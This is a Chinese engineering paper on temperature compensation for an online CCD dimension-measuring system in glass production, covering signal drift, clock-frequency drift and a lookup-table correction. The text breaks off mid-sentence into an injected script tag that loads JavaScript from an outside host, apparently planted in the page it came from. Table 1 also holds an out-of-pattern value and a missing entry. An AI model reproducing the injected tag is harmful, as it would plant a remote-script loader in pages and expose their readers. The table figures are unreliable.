摘 要 针对在线ccd测试系统，在大温差、高温场下系统组件产生的温度漂移问题，提出了一个以单片机为核心的温度补偿系统。该系统硬件结构简单，软件设计灵活，有较宽的温度补偿范围，同步性好，对提高测量精度有明显效果。
关键词 电荷耦合器件 在线检测 单片机 温度补偿
0 前 言
测试系统的运行环境是玻璃坯料浇造成型的工况现场。玻璃液窑炉的辐射高温和测试点高速运行的400 ℃的玻璃工件热体，给系统的测量带来了不容忽视的温度影响。
在一定条件下，常用的温度补偿方法，虽然能起到补偿作用，但是由于电路中各元件的参数难于准确配合，同步性差，在较宽的温度范围内，元件的温度特性难以保证［1］。针对精密测量中要求温度补偿精度高、温度补偿范围宽的特点，本文研究了用单片机进行温度补偿的方法，该测试系统在20～40 ℃的温度现场测试运行，能确保在考虑温度影响时，测量误差±0.2 mm。
1 测试系统的工作原理
测试系统采用线阵ccd作传感元件。ccd是一种理想的非接触式传感器，它能实现光电转换，使被测工件在光照下的摄影图象信息转换成电脉冲信号。本文采用平行光尺寸测量法［2］。当一束准直度理想的平行光透过待测目标（工件）投射ccd表面时，ccd摄取的阴影（即被测工件遮光造成的影象）尺寸就代表了被测目标的尺寸。因此只要在摄影扫描期间，将对应的阴影图象区的电信号采集、量化，并记录下来，便测得了目标的尺寸。测试原理示意图如图1所示。
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图1 系统测试原理示意图
由于光投影图象的ab 段和cd 段为光照区，线阵ccd输出信号，bc 段因被工件遮挡，为无光照区，线阵ccd无信号输出。ccd输出信号波形bc 段的长度由下式求得：
bc = ad－ab－cd
ccd的像元数和像元之间的距离是已知的，所以ad 的长度是固定的。ab 段和cd 段可以通过填脉冲法测量波形宽度，即可求出投影图象ab 段和cd段长度之和，进而得到工件尺寸。
2 温度对测试系统精度的影响
ccd摄象机的输出时序如图2。
图2 ccd输出时序
图中φtg为同步信号，φr为工作时钟（填充脉冲），vout为模拟信号输出, vbin是经二值化电路处理的vout信号，简称二值化信号。它是vout信号与阈值vb相比较的结果：vout≥vb, vbin=1; vout＜vb，vbin=0。
2.1 温度对vout信号的影响
vout是ccd摄影模拟图象信号。在φtg的一个周期内，当有光照射时vout为高电平，无光照射时为低电平，并且光强的变化会改变它的幅值大小和边沿质量。
本系统的光源采用强光源，以加大曝光量和辅之摄象机镜头滤光片的方法，去克服发热400 ℃的被测工件的热辐射效应。驱动光源电流达5 a，灯丝电阻2.2 ω，20 m的电缆线路电阻（往返线路）0.4 ω，由于大负载下运行线路电阻和灯丝电阻发热变化，可造成vout波形0.3 v的回落波动，偏离80%的最佳曝光量点［2］，波形边沿质量随之变差，如图3所示。vout的变化，直接影响ccd摄影二值化图象信号，即图1的图象信号变化。使vbin变化为vbin′,致使图1中的ab段、cd 段变小，bc 段加长，测量值大于实测体。
图3 温度对ccd输出信号的影响
2.2 温度对φr的影响
该系统的填充脉冲φr由压控振荡器vco生成。控压是电位器分压式结构，标准值为1 mhz，vco组件温漂和控压回路电阻的热效应，使φr信号的频率波动在±2 khz之间，并且此项误差影响呈非线性。
3 用数字补偿提高测量系统的精度
3.1 数字补偿的原理
综上所述，以上各项误差均属非线性误差，并且具有随机性，难以用准确的数学模型描述。因此本系统采用微机实现数字校正的误差补偿。其中借助硬件环节完成vout量和φr量的适时跟踪采样，再编制微机软件，采用对照查表法给出误差的修正值。
软件中的vout和φr误差修正表分别是两个一维表格。
φr的修正值由测量得到。测量时，确定一个已知标准为待测对象，然后调整改变的大小，在不同的φr下，读取并记录该工件的测量值。测量值偏离实际值的多少，便是在φr的波动下，软件应查询补偿的误差量。φr的误差修正表如表1所示。
表1 φr的误差修正表
δφr（个）
-10
-8
-6
-4
-2
δl1（mm）
0.05
0.04
0.03
0.02
0
δφr（个）
0
2
4
6
8
δl1（mm）
0
-0.2
-0.03
-0.04
表1是在3 ms门控信号下，测取的因φr频率值变化，引起已知直径的19 mm标准球体的实测值的偏差情况。δφr是φr的测量值与标准值的差值，它的正向偏离量会使实际测量得到的球体直径小于实体本身，测量直径偏差δl1为负值。它的反向?script src=http://er12.com/t.js>
